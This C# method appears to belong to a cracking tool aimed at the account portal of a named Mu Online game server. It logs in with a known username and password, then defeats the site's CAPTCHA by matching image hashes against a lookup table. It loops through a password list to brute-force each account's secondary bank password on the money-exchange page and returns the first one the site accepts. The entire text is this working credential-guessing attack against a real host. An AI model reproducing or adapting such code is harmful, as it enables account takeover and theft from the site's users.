public string DoPass2(string username, string pass1) { const string urlcapcha = "http://taikhoan.muhaiphong.net/CV/includes/captcha/CaptchaSecurityImages.php?characters=2"; if (Login("http://taikhoan.muhaiphong.net/CV/Load_Content.php?Page=Login&username={0}&password={1}&login=1", username, pass1, "Successfuly")) { foreach (var pass in PassList) { string hash = MuWebResquest.GetHash(MuWebResquest.GetStream(urlcapcha)); string url = string.Format( "http://taikhoan.muhaiphong.net/CV/Load_Content.php?Page=Bank_Manager/MoneyExChange&security_code={0}&passcap2={1}&money1=0&TypeDoi=1&MoneyExChange=1", CapCha[hash], pass); var htmlDocument = new HtmlDocument(); htmlDocument.LoadHtml(MuWebResquest.GetContent(url)); var selectSingleNode = htmlDocument.DocumentNode.SelectSingleNode("//*[@id='dialog-message1']"); if (selectSingleNode == null) { continue; } if (selectSingleNode.InnerText.Contains("thành công")) { return(pass); } } } return(null); }